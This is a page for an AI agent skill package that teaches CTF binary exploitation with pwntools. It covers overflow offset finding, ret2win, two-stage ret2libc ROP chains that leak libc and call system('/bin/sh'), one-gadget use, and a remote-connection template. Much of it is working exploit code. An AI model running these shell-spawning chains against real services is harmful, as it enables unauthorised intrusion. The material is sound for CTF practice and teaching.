pwn-exploits

Original🇺🇸 English
Translated
15 scripts

Binary exploitation patterns using pwntools for buffer overflows, ROP chains, and shellcode in CTF challenges. Trigger: When solving pwn challenges, buffer overflows, ROP chains, or writing exploits.

1installs
Added on

NPX Install

npx skill4agent add g36maid/ctf-arsenal pwn-exploits

Tags

Translated version includes tags in frontmatter

Binary Exploitation Patterns

When to Use

Load this skill when:
  • Solving binary exploitation (pwn) CTF challenges
  • Working with buffer overflows and stack-based vulnerabilities
  • Building ROP (Return-Oriented Programming) chains
  • Writing shellcode or exploits
  • Using pwntools for exploitation
  • Analyzing binaries with GDB, checksec, or strings

Binary Analysis Workflow

Step 1: Static Analysis First

Always begin with static analysis before dynamic exploitation.
bash
# Search for interesting strings
strings ./vuln | grep -iE "flag|password|key|secret|admin"

# Check binary protections
checksec ./vuln

# Examine file type and architecture
file ./vuln
Why? Static analysis reveals:
  • Hidden functionality and backdoor functions
  • Hardcoded credentials or flags
  • Security mitigations (PIE, NX, Stack Canary, RELRO)
  • Architecture (32-bit vs 64-bit, calling conventions)

Step 2: Decompile with Ghidra/IDA

bash
# Batch decompile with Ghidra headless mode (RECOMMENDED)
./ghidra_headless/decompile_headless.sh ./vuln output.c

# Or use Python wrapper (legacy)
python tools/decompile.py ./vuln

# Or manually open in Ghidra GUI
ghidra
Key things to look for:
  • Dangerous functions:
    gets()
    ,
    strcpy()
    ,
    scanf()
    ,
    read()
    with no bounds
  • Win functions:
    system("/bin/sh")
    ,
    execve()
    ,
    print_flag()
  • Buffer sizes vs input sizes
  • Comparison operations (password checks, admin checks)

Protection Analysis Table

ProtectionStatusExploitation Strategy
PIEEnabledNeed address leak for code/data addresses
PIEDisabledCan use hardcoded addresses directly
NXEnabledCannot execute shellcode on stack, use ROP
NXDisabledCan write shellcode to buffer and execute
Stack CanaryEnabledNeed canary leak or bypass technique
Stack CanaryDisabledDirect buffer overflow exploitation
RELRO FullEnabledCannot overwrite GOT entries
RELRO PartialEnabledCan overwrite GOT for hijacking

Exploitation Patterns

Pattern 1: Find Buffer Overflow Offset

python
from pwn import *

# Generate cyclic pattern
io = process('./vuln')
payload = cyclic(500)
io.sendline(payload)
io.wait()

# After crash, examine core dump or GDB
# Find the offset where control is hijacked
core = Coredump('./core')
offset = cyclic_find(core.read(core.rsp, 4))  # x86_64
# or
offset = cyclic_find(core.read(core.eip, 4))  # x86

log.info(f"Offset: {offset}")
Alternative: Manual offset finding
python
# Use offset_finder.py from tools/
# python tools/offset_finder.py ./vuln

Pattern 2: Basic ret2win (Call Win Function)

python
from pwn import *

exe = "./vuln"
elf = context.binary = ELF(exe, checksec=False)
context.log_level = "debug"

# Find win function address
win_addr = elf.symbols['win']  # or elf.symbols['print_flag']

# Build payload
payload = flat({
    offset: [
        win_addr
    ]
})

io = process(exe)
io.sendline(payload)
io.interactive()

Pattern 3: ret2libc (Leak + System)

Stage 1: Leak libc address
python
from pwn import *

exe = "./vuln"
elf = context.binary = ELF(exe, checksec=False)
libc = ELF("./libc.so.6")  # or ELF("/lib/x86_64-linux-gnu/libc.so.6")
rop = ROP(elf)

# Build ROP chain to leak puts@GOT
payload = flat({
    offset: [
        rop.find_gadget(['pop rdi', 'ret'])[0],
        elf.got['puts'],
        elf.plt['puts'],
        elf.symbols['main']  # Return to main for second exploit
    ]
})

io = process(exe)
io.sendline(payload)
io.recvuntil(b"expected_output")
leak = u64(io.recvline().strip().ljust(8, b'\x00'))
log.info(f"Leaked puts@GOT: {hex(leak)}")

# Calculate libc base
libc.address = leak - libc.symbols['puts']
log.success(f"Libc base: {hex(libc.address)}")
Stage 2: Call system("/bin/sh")
python
# Find /bin/sh string in libc
bin_sh = next(libc.search(b'/bin/sh\x00'))

# Build final ROP chain
payload2 = flat({
    offset: [
        rop.find_gadget(['ret'])[0],  # Stack alignment (required for movaps)
        rop.find_gadget(['pop rdi', 'ret'])[0],
        bin_sh,
        libc.symbols['system']
    ]
})

io.sendline(payload2)
io.interactive()

Pattern 4: Auto-Switch Start Function

Use this template for all pwn scripts:
python
from pwn import *

exe = "./vuln"
elf = context.binary = ELF(exe, checksec=False)
context.log_level = "debug"
context.terminal = ["tmux", "splitw", "-h"]

def start(argv=[], *a, **kw):
    """Start the exploit in different modes"""
    if args.GDB:
        gdbscript = """
        b *main
        continue
        """
        return gdb.debug([exe] + argv, gdbscript=gdbscript, *a, **kw)
    elif args.REMOTE:
        return remote(sys.argv[1], int(sys.argv[2]), *a, **kw)
    else:
        return process([exe] + argv, *a, **kw)

# Usage:
# python solve.py              # Local process
# python solve.py GDB          # Debug with GDB
# python solve.py REMOTE IP PORT  # Remote connection

Pattern 5: ROP Chain Construction

python
from pwn import *

elf = ELF("./vuln")
rop = ROP(elf)

# Method 1: Automatic ROP chain
rop.call('puts', [elf.got['puts']])
rop.call('main')

# Method 2: Manual gadget selection
pop_rdi = rop.find_gadget(['pop rdi', 'ret'])[0]
pop_rsi_r15 = rop.find_gadget(['pop rsi', 'pop r15', 'ret'])[0]
ret = rop.find_gadget(['ret'])[0]

payload = flat({
    offset: [
        ret,              # Stack alignment
        pop_rdi,
        elf.got['puts'],
        elf.plt['puts'],
        elf.symbols['main']
    ]
})

Quick Reference

Pwntools Essential Commands

TaskCommand
Generate cyclic pattern
cyclic(500)
Find offset from crash
cyclic_find(b'caaa')
or
cyclic_find(0x61616161)
Pack 64-bit integer
p64(0x401000)
Pack 32-bit integer
p32(0x08048000)
Unpack 64-bit bytes
u64(data.ljust(8, b'\x00'))
Unpack 32-bit bytes
u32(data.ljust(4, b'\x00'))
Launch with GDB
gdb.debug([exe], gdbscript=script)
Connect remote
remote(host, port)
Local process
process([exe])
Build structured payload
flat({offset: [gadget1, gadget2]})
Find ROP gadgets
rop.find_gadget(['pop rdi', 'ret'])
Search bytes in binary
next(elf.search(b'/bin/sh'))

Common ROP Gadgets (x86_64)

python
# System call setup
pop_rdi = 0x400123  # pop rdi; ret (1st argument)
pop_rsi = 0x400456  # pop rsi; ret (2nd argument)
pop_rdx = 0x400789  # pop rdx; ret (3rd argument)
pop_rax = 0x400abc  # pop rax; ret (syscall number)

# Stack alignment (REQUIRED for recent libc)
ret = 0x400001      # ret

# Useful symbols
bin_sh = next(elf.search(b'/bin/sh\x00'))
system = elf.symbols['system']  # or libc.symbols['system']

GDB Essential Commands

bash
# Pwndbg commands
checksec                    # Check binary protections
vmmap                       # Memory mapping
telescope $rsp 20           # Stack view
cyclic 200                  # Generate pattern
cyclic -l 0x61616161       # Find offset
rop                         # Search ROP gadgets
rop --grep "pop rdi"       # Filter gadgets
got                         # GOT entries
plt                         # PLT entries

# Standard GDB
b *main                     # Breakpoint at address
b *0x401234
x/20gx $rsp                # Examine stack (64-bit)
x/20wx $esp                # Examine stack (32-bit)
x/20i $rip                 # Disassemble
info registers              # Register values
set $rax = 0               # Modify register

CTF-Specific Tips

Extract Flags Automatically

python
import re

def extract_flag(data):
    """Extract common CTF flag formats"""
    patterns = [
        r'flag\{[^}]+\}',
        r'FLAG\{[^}]+\}',
        r'CTF\{[^}]+\}',
        r'picoCTF\{[^}]+\}',
        r'HTB\{[^}]+\}',
        r'[a-zA-Z0-9_]+\{[a-zA-Z0-9_@!?-]+\}',
    ]
    
    text = data if isinstance(data, str) else data.decode('latin-1')
    for pattern in patterns:
        match = re.search(pattern, text)
        if match:
            return match.group(0)
    return None

# Usage
io.recvuntil(b"output")
data = io.recvall()
flag = extract_flag(data)
if flag:
    log.success(f"Flag: {flag}")

One-Gadget Usage

bash
# Find one-gadgets in libc (requires one_gadget gem)
one_gadget libc.so.6

# Use in exploit
one_gadget = libc.address + 0x4f3d5  # Offset from one_gadget output
payload = flat({offset: one_gadget})

Anti-Patterns (Avoid These)

❌ Don't: Skip Static Analysis

python
# BAD: Jumping straight to buffer overflow without understanding the binary
offset = 72  # Guessed
payload = b'A' * offset + p64(0xdeadbeef)
Why it's bad: You might miss:
  • Easier solutions (hardcoded flags, win functions)
  • Critical constraints (length checks, character filters)
  • Security mitigations that require different approaches

❌ Don't: Hardcode Addresses with PIE/ASLR

python
# BAD: Hardcoded libc addresses
system_addr = 0x7ffff7a52290  # This won't work with ASLR

# GOOD: Calculate from leak
libc.address = leak - libc.symbols['puts']
system_addr = libc.symbols['system']

❌ Don't: Forget Stack Alignment

python
# BAD: Direct call to system() may crash
payload = flat({offset: [pop_rdi, bin_sh, system]})

# GOOD: Add 'ret' gadget for alignment (movaps requirement)
payload = flat({offset: [ret, pop_rdi, bin_sh, system]})

❌ Don't: Ignore Error Messages

python
# BAD: Blindly sending payload without checking responses
io.sendline(payload)
io.interactive()

# GOOD: Check for errors and debug
io.sendline(payload)
response = io.recvuntil(b"expected", timeout=2)
if b"error" in response or b"invalid" in response:
    log.error("Exploit failed, check payload")
    exit(1)
io.interactive()

Bundled Resources

Templates

All templates use the auto-switch start function for easy testing:
  • templates/pwn_basic.py
    - Basic buffer overflow template
  • templates/pwn_rop.py
    - ROP chain + ret2libc template
  • templates/angr_template.py
    - Symbolic execution with angr

Tools

Helper scripts for common tasks:
  • tools/checksec_quick.sh
    - Quick security check wrapper
  • tools/offset_finder.py
    - Automated offset calculation
  • tools/leak_parser.py
    - Parse and format address leaks
  • tools/libc_lookup.py
    - Identify libc version from leaks
  • tools/rop_chain_skeleton.py
    - Generate ROP chain templates
  • tools/patch_ld_preload.sh
    - Patch binary to use specific libc

Ghidra Headless Decompilation

  • ghidra_headless/
    - Automated decompilation without GUI
  • ghidra_headless/decompile_headless.sh
    - Wrapper script for batch decompilation
  • ghidra_headless/DecompileCLI.java
    - Ghidra Java script for headless operation
  • ghidra_headless/README.md
    - Detailed usage and troubleshooting guide

Gadget Finders

  • gadgets/find_gadgets_ropgadget.sh
    - ROPgadget wrapper
  • gadgets/find_gadgets_ropper.sh
    - Ropper wrapper
  • gadgets/find_gadgets_rpplus.sh
    - rp++ wrapper
  • gadgets/one_gadget_notes.md
    - One-gadget usage guide

Quick References

  • references/quickref_gadgets.md
    - Common ROP gadgets reference
  • references/quickref_gdb.md
    - GDB command cheatsheet
  • references/gdb_cheatsheet.md
    - Detailed GDB guide
  • references/ret2libc_checklist.md
    - Step-by-step ret2libc guide
  • references/usage_guide.md
    - Tool usage instructions

GDB Configuration

  • gdb_init/
    - GDB initialization scripts for pwndbg, GEF, peda

Keywords

pwn, binary exploitation, buffer overflow, stack overflow, ROP, ROP chain, return-oriented programming, shellcode, pwntools, CTF, checksec, cyclic, gadgets, GOT, PLT, libc leak, ret2libc, ret2win, format string, GDB, pwndbg, reverse engineering, binary analysis, exploit development